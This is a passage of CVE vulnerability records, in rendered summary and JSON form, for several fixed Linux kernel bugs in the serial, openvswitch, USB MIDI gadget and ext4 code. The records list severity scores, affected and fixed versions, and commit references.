                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: protect uart_port_dtr_rts() in uart_shutdown() too\n\nCommit af224ca2df29 (serial: core: Prevent unsafe uart port access, part\n3) added few uport == NULL checks. It added one to uart_shutdown(), so\nthe commit assumes, uport can be NULL in there. But right after that\nprotection, there is an unprotected \"uart_port_dtr_rts(uport, false);\"\ncall. That is invoked only if HUPCL is set, so I assume that is the\nreason why we do not see lots of these reports.\n\nOr it cannot be NULL at this point at all for some reason :P.\n\nUntil the above is investigated, stay on the safe side and move this\ndereference to the if too.\n\nI got this inconsistency from Coverity under CID 1585130. Thanks."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:44:36.332Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2fe399bb8efd0d325ab1138cf8e3ecf23a39e96d"
        },
        {
          "url": "https://git.kernel.org/stable/c/399927f0f875b93f3d5a0336d382ba48b8671eb2"
        },
        {
          "url": "https://git.kernel.org/stable/c/d7b5876a6e74cdf8468a478be6b23f2f5464ac7a"
        },
        {
          "url": "https://git.kernel.org/stable/c/e418d91195d29d5f9c9685ff309b92b04b41dc40"
        },
        {
          "url": "https://git.kernel.org/stable/c/76ed24a34223bb2c6b6162e1d8389ec4e602a290"
        },
        {
          "url": "https://git.kernel.org/stable/c/602babaa84d627923713acaf5f7e9a4369e77473"
        }
      ],
      "title": "serial: protect uart_port_dtr_rts() in uart_shutdown() too",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50058",
    "datePublished": "2024-10-21T19:39:48.420Z",
    "dateReserved": "2024-10-21T19:36:19.938Z",
    "dateUpdated": "2026-05-12T12:00:12.436Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21761 (GCVE-0-2025-21761)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

openvswitch: use RCU protection in ovs_vport_cmd_fill_info()

Summary

In the Linux kernel, the following vulnerability has been resolved: openvswitch: use RCU protection in ovs_vport_cmd_fill_info() ovs_vport_cmd_fill_info() can be called without RTNL or RCU. Use RCU protection and dev_net_rcu() to avoid potential UAF.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e85a25d1a9985645e…
https://git.kernel.org/stable/c/a8816b3f1f151373f…
https://git.kernel.org/stable/c/a884f57600e463f69…
https://git.kernel.org/stable/c/7e01abc34e87abd09…
https://git.kernel.org/stable/c/8ec57509c36c8b9a2…
https://git.kernel.org/stable/c/a849a10de5e04d798…
https://git.kernel.org/stable/c/5828937742af74666…
https://git.kernel.org/stable/c/90b2f49a502fa7109…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9354d452034273a50a4fd703bea31e5d6b1fc20b , < e85a25d1a9985645e796039e843d1de581d2de1e (git) Affected: 9354d452034273a50a4fd703bea31e5d6b1fc20b , < a8816b3f1f151373fd30f1996f00480126c8bb11 (git) Affected: 9354d452034273a50a4fd703bea31e5d6b1fc20b , < a884f57600e463f69d7b279c4598b865260b62a1 (git) Affected: 9354d452034273a50a4fd703bea31e5d6b1fc20b , < 7e01abc34e87abd091e619161a20f54ed4e3e2da (git) Affected: 9354d452034273a50a4fd703bea31e5d6b1fc20b , < 8ec57509c36c8b9a23e50b7858dda0c520a2d074 (git) Affected: 9354d452034273a50a4fd703bea31e5d6b1fc20b , < a849a10de5e04d798f7f286a2f1ca174719a617a (git) Affected: 9354d452034273a50a4fd703bea31e5d6b1fc20b , < 5828937742af74666192835d657095d95c53dbd0 (git) Affected: 9354d452034273a50a4fd703bea31e5d6b1fc20b , < 90b2f49a502fa71090d9f4fe29a2f51fe5dff76d (git)
Linux	Linux	Affected: 4.15 Unaffected: 0 , < 4.15 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21761",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T17:57:35.920303Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:02:27.210Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:37:08.745Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:41.909Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/openvswitch/datapath.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e85a25d1a9985645e796039e843d1de581d2de1e",
              "status": "affected",
              "version": "9354d452034273a50a4fd703bea31e5d6b1fc20b",
              "versionType": "git"
            },
            {
              "lessThan": "a8816b3f1f151373fd30f1996f00480126c8bb11",
              "status": "affected",
              "version": "9354d452034273a50a4fd703bea31e5d6b1fc20b",
              "versionType": "git"
            },
            {
              "lessThan": "a884f57600e463f69d7b279c4598b865260b62a1",
              "status": "affected",
              "version": "9354d452034273a50a4fd703bea31e5d6b1fc20b",
              "versionType": "git"
            },
            {
              "lessThan": "7e01abc34e87abd091e619161a20f54ed4e3e2da",
              "status": "affected",
              "version": "9354d452034273a50a4fd703bea31e5d6b1fc20b",
              "versionType": "git"
            },
            {
              "lessThan": "8ec57509c36c8b9a23e50b7858dda0c520a2d074",
              "status": "affected",
              "version": "9354d452034273a50a4fd703bea31e5d6b1fc20b",
              "versionType": "git"
            },
            {
              "lessThan": "a849a10de5e04d798f7f286a2f1ca174719a617a",
              "status": "affected",
              "version": "9354d452034273a50a4fd703bea31e5d6b1fc20b",
              "versionType": "git"
            },
            {
              "lessThan": "5828937742af74666192835d657095d95c53dbd0",
              "status": "affected",
              "version": "9354d452034273a50a4fd703bea31e5d6b1fc20b",
              "versionType": "git"
            },
            {
              "lessThan": "90b2f49a502fa71090d9f4fe29a2f51fe5dff76d",
              "status": "affected",
              "version": "9354d452034273a50a4fd703bea31e5d6b1fc20b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/openvswitch/datapath.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.15"
            },
            {
              "lessThan": "4.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: use RCU protection in ovs_vport_cmd_fill_info()\n\novs_vport_cmd_fill_info() can be called without RTNL or RCU.\n\nUse RCU protection and dev_net_rcu() to avoid potential UAF."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:53.119Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e85a25d1a9985645e796039e843d1de581d2de1e"
        },
        {
          "url": "https://git.kernel.org/stable/c/a8816b3f1f151373fd30f1996f00480126c8bb11"
        },
        {
          "url": "https://git.kernel.org/stable/c/a884f57600e463f69d7b279c4598b865260b62a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/7e01abc34e87abd091e619161a20f54ed4e3e2da"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ec57509c36c8b9a23e50b7858dda0c520a2d074"
        },
        {
          "url": "https://git.kernel.org/stable/c/a849a10de5e04d798f7f286a2f1ca174719a617a"
        },
        {
          "url": "https://git.kernel.org/stable/c/5828937742af74666192835d657095d95c53dbd0"
        },
        {
          "url": "https://git.kernel.org/stable/c/90b2f49a502fa71090d9f4fe29a2f51fe5dff76d"
        }
      ],
      "title": "openvswitch: use RCU protection in ovs_vport_cmd_fill_info()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21761",
    "datePublished": "2025-02-27T02:18:14.054Z",
    "dateReserved": "2024-12-29T08:45:45.761Z",
    "dateUpdated": "2026-05-12T12:03:41.909Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21859 (GCVE-0-2025-21859)

Vulnerability from cvelistv5 – Published: 2025-03-12 09:42 – Updated: 2026-05-12 12:04

Title

USB: gadget: f_midi: f_midi_complete to call queue_work

Summary

In the Linux kernel, the following vulnerability has been resolved: USB: gadget: f_midi: f_midi_complete to call queue_work When using USB MIDI, a lock is attempted to be acquired twice through a re-entrant call to f_midi_transmit, causing a deadlock. Fix it by using queue_work() to schedule the inner f_midi_transmit() via a high priority work queue from the completion handler.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-667 - Improper Locking

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/727dee0857946b852…
https://git.kernel.org/stable/c/1f10923404705a948…
https://git.kernel.org/stable/c/b09957657d7767d16…
https://git.kernel.org/stable/c/24a942610ee9bafb2…
https://git.kernel.org/stable/c/deeee3adb2c01eeda…
https://git.kernel.org/stable/c/e9fec6f42c45db2f6…
https://git.kernel.org/stable/c/8aa6b4be1f4efccbf…
https://git.kernel.org/stable/c/4ab37fcb42832cdd3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d5daf49b58661ec4af7a55b277176efbf945ca05 , < 727dee0857946b85232526de4f5a957fe163e89a (git) Affected: d5daf49b58661ec4af7a55b277176efbf945ca05 , < 1f10923404705a94891e612dff3b75e828a78368 (git) Affected: d5daf49b58661ec4af7a55b277176efbf945ca05 , < b09957657d7767d164b3432af2129bd72947553c (git) Affected: d5daf49b58661ec4af7a55b277176efbf945ca05 , < 24a942610ee9bafb2692a456ae850c5b2e409b05 (git) Affected: d5daf49b58661ec4af7a55b277176efbf945ca05 , < deeee3adb2c01eedab32c3b4519337689ad02e8a (git) Affected: d5daf49b58661ec4af7a55b277176efbf945ca05 , < e9fec6f42c45db2f62dc373fb1a10d2488c04e79 (git) Affected: d5daf49b58661ec4af7a55b277176efbf945ca05 , < 8aa6b4be1f4efccbfc533e6ec8841d26e4fa8dba (git) Affected: d5daf49b58661ec4af7a55b277176efbf945ca05 , < 4ab37fcb42832cdd3e9d5e50653285ca84d6686f (git)
Linux	Linux	Affected: 3.2 Unaffected: 0 , < 3.2 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.130 , ≤ 6.1.* (semver) Unaffected: 6.6.80 , ≤ 6.6.* (semver) Unaffected: 6.12.17 , ≤ 6.12.* (semver) Unaffected: 6.13.5 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21859",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:25:50.980181Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-667",
                "description": "CWE-667 Improper Locking",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:26:37.956Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:38:16.433Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:04:07.233Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/function/f_midi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "727dee0857946b85232526de4f5a957fe163e89a",
              "status": "affected",
              "version": "d5daf49b58661ec4af7a55b277176efbf945ca05",
              "versionType": "git"
            },
            {
              "lessThan": "1f10923404705a94891e612dff3b75e828a78368",
              "status": "affected",
              "version": "d5daf49b58661ec4af7a55b277176efbf945ca05",
              "versionType": "git"
            },
            {
              "lessThan": "b09957657d7767d164b3432af2129bd72947553c",
              "status": "affected",
              "version": "d5daf49b58661ec4af7a55b277176efbf945ca05",
              "versionType": "git"
            },
            {
              "lessThan": "24a942610ee9bafb2692a456ae850c5b2e409b05",
              "status": "affected",
              "version": "d5daf49b58661ec4af7a55b277176efbf945ca05",
              "versionType": "git"
            },
            {
              "lessThan": "deeee3adb2c01eedab32c3b4519337689ad02e8a",
              "status": "affected",
              "version": "d5daf49b58661ec4af7a55b277176efbf945ca05",
              "versionType": "git"
            },
            {
              "lessThan": "e9fec6f42c45db2f62dc373fb1a10d2488c04e79",
              "status": "affected",
              "version": "d5daf49b58661ec4af7a55b277176efbf945ca05",
              "versionType": "git"
            },
            {
              "lessThan": "8aa6b4be1f4efccbfc533e6ec8841d26e4fa8dba",
              "status": "affected",
              "version": "d5daf49b58661ec4af7a55b277176efbf945ca05",
              "versionType": "git"
            },
            {
              "lessThan": "4ab37fcb42832cdd3e9d5e50653285ca84d6686f",
              "status": "affected",
              "version": "d5daf49b58661ec4af7a55b277176efbf945ca05",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/gadget/function/f_midi.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.2"
            },
            {
              "lessThan": "3.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.130",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.80",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.17",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.130",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.80",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.17",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.5",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: gadget: f_midi: f_midi_complete to call queue_work\n\nWhen using USB MIDI, a lock is attempted to be acquired twice through a\nre-entrant call to f_midi_transmit, causing a deadlock.\n\nFix it by using queue_work() to schedule the inner f_midi_transmit() via\na high priority work queue from the completion handler."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:07:53.359Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/727dee0857946b85232526de4f5a957fe163e89a"
        },
        {
          "url": "https://git.kernel.org/stable/c/1f10923404705a94891e612dff3b75e828a78368"
        },
        {
          "url": "https://git.kernel.org/stable/c/b09957657d7767d164b3432af2129bd72947553c"
        },
        {
          "url": "https://git.kernel.org/stable/c/24a942610ee9bafb2692a456ae850c5b2e409b05"
        },
        {
          "url": "https://git.kernel.org/stable/c/deeee3adb2c01eedab32c3b4519337689ad02e8a"
        },
        {
          "url": "https://git.kernel.org/stable/c/e9fec6f42c45db2f62dc373fb1a10d2488c04e79"
        },
        {
          "url": "https://git.kernel.org/stable/c/8aa6b4be1f4efccbfc533e6ec8841d26e4fa8dba"
        },
        {
          "url": "https://git.kernel.org/stable/c/4ab37fcb42832cdd3e9d5e50653285ca84d6686f"
        }
      ],
      "title": "USB: gadget: f_midi: f_midi_complete to call queue_work",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21859",
    "datePublished": "2025-03-12T09:42:12.036Z",
    "dateReserved": "2024-12-29T08:45:45.780Z",
    "dateUpdated": "2026-05-12T12:04:07.233Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43828 (GCVE-0-2024-43828)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:21 – Updated: 2026-05-12 11:56

Title

ext4: fix infinite loop when replaying fast_commit

Summary

In the Linux kernel, the following vulnerability has been resolved: ext4: fix infinite loop when replaying fast_commit When doing fast_commit replay an infinite loop may occur due to an uninitialized extent_status struct. ext4_ext_determine_insert_hole() does not detect the replay and calls ext4_es_find_extent_range(), which will return immediately without initializing the 'es' variable. Because 'es' contains garbage, an integer overflow may happen causing an infinite loop in this function, easily reproducible using fstest generic/039. This commit fixes this issue by unconditionally initializing the structure in function ext4_es_find_extent_range(). Thanks to Zhang Yi, for figuring out the real problem!

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/5ed0496e383cb6de1…
https://git.kernel.org/stable/c/0619f7750f2b178a1…
https://git.kernel.org/stable/c/181e63cd595c68819…
https://git.kernel.org/stable/c/c6e67df64783e99a6…
https://git.kernel.org/stable/c/81f819c537d29932e…
https://git.kernel.org/stable/c/907c3fe532253a6ef…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2 , < 5ed0496e383cb6de120e56991385dce70bbb87c1 (git) Affected: 8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2 , < 0619f7750f2b178a1309808832ab20d85e0ad121 (git) Affected: 8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2 , < 181e63cd595c688194e07332f9944b3a63193de2 (git) Affected: 8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2 , < c6e67df64783e99a657ef2b8c834ba2bf54c539c (git) Affected: 8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2 , < 81f819c537d29932e4b9267f02411cbc8b355178 (git) Affected: 8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2 , < 907c3fe532253a6ef4eb9c4d67efb71fab58c706 (git)
Linux	Linux	Affected: 5.10 Unaffected: 0 , < 5.10 (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43828",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:08:37.888244Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:24.045Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:05:09.355Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:55.123Z",
